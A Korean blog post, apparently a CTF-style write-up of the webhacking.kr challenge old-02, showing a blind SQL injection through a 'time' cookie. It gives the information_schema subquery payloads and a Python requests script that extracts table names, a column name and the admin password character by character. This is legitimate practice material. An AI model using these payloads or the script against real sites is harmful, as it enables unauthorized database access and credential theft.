일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 | 31 |
- blind-sqli
- Bob
- pwn
- SECGAME
- blind_sqli
- Crypto
- cookie
- pwnable
- 백준
- SQLi
- pwn.college
- web
- regex
- 예전글
- 예전글 #PS
- webhacking.kr
- cce2023
- 예전글 #CNN
- PS
- Pwnable.kr
- HTB
- XSS
- JS
- cryptohack.org
- Today
- Total
아모에요
[webhacking.kr] old-02 본문
처음 이 문제를 봤을 땐 와 저걸 진짜 어떻게 풀지, 싶었는데
CTF를 여러번 뛰고 나니까 감이 잡히는 문제입니다.
페이지 소스를 보면
<!--
2023-06-13 05:42:14
-->
와 같이 쓸데없는 주석이 있습니다. 쿠키도 확인해보면 time이라는 값이 있네요.
time의 값을 변경해봅시다.
true로 변경하면 2070-01-01 09:00:01으로 바뀌고
false로 변경하면 2070-01-01 09:00:00으로 변경됩니다.
admin.php에 접근하면 엉덩이를 차버린다 했으니 SQL 구문을 사용할 확률이 높겠네요.
직접적으로 SQL 결과값을 알 순 없고 true, false 값이나 숫자 값만 알 수 있으므로
Blind SQL Injection 공격을 시도해봅시다.
먼저 테이블 개수를 구하려면
(select count(*) from information_schema.tables)을 쿠키값에 입력하면 됩니다.
테이블 개수 = 63 의 결과를 얻었습니다.
테이블명을 구하기 위해서 첫번째 테이블의 이름의 길이를 구하는 쿠키는 아래와 같습니다.
(select length(table_name) from information_schema.tables limit 0,1)
첫번째 테이블의 이름의 길이 = 14
마찬가지로 두번째, 세번째 테이블의 이름의 길이도 구해보면
10,37이 나옵니다.
첫번째 테이블의 테이블명을 구해봅시다.
substr 함수를 이용해서 문자열을 한 단어씩 끊어낸 뒤에 한 단어마다 char->int 변환을 통해서 문자를 구해내면 됩니다.
(select ascii(substr(table_name,1,1)) from information_schema.tables limit 0,1)
첫번째 테이블의 첫번째 문자의 아스키 코드 번호는 67이네요. => C
마찬가지로 두번째부터 문자를 구해보면 H A R A C T E R _ S E T S
CHARACTER_SETS
두번째 테이블 부터는 이를 자동화합시다.
import requests
def get_result(t):
cookie = {'time':t}
res = requests.get("https://webhacking.kr/challenge/web-02/",cookies=cookie)
li = res.text.split(':')
min = int(li[1])
sec = int(li[2][:2])
res = min*60 + sec
return res
for i in range(63):
t = f'(select length(table_name) from information_schema.tables limit {str(i)},1)'
len = get_result(t)
table_name = ''
for j in range(1,len+1):
t = f'(select ascii(substr(table_name,{str(j)},1)) from information_schema.tables limit {str(i)},1)'
res = get_result(t)
table_name += chr(res)
print(table_name)
admin_area_pw라는 테이블을 분석하면 문제가 풀릴 것 같습니다.
(select count(*) from information_schema.columns where table_name = 'admin_area_pw')
로 CHARACTER_SETS 테이블의 컬럼의 개수를 구하면 1개임을 확인 할 수 있습니다.
컬럼의 이름을 구해보면
table_name = 'admin_area_pw'
t = f'(select length(column_name) from information_schema.columns where table_name=\'{table_name})\''
res = get_result(t)
column_name = ''
for i in range(1,res+1):
t = f'(select ascii(substr(column_name,{str(i)},1)) from information_schema.columns where table_name=\'{table_name}\')'
r = get_result(t)
column_name += chr(r)
print(column_name)
column_name = pw
마지막으로 admin_area_pw안에 저장된 데이터의 pw 값을 구하면
t = f'(select length(pw) from admin_area_pw)'
res = get_result(t)
pw = ''
for i in range(1,res+1):
t = f'(select ascii(substr(pw,{str(i)},1)) from admin_area_pw)'
r = get_result(t)
pw += chr(r)
print(pw)
pw 값은 kudos_to_beistlab
admin.php에 접속해서 pw를 입력하면 문제가 풀립니다. ~^~^
'Study > Hacking' 카테고리의 다른 글
[webhacking.kr] old-05 (0) | 2023.06.13 |
---|---|
[webhacking.kr] old-04 (0) | 2023.06.13 |
[webhacking.kr] old-03 (0) | 2023.06.13 |
[webhacking.kr] old-01 (0) | 2023.06.13 |
[dreamhack.io] easyxss (0) | 2023.05.31 |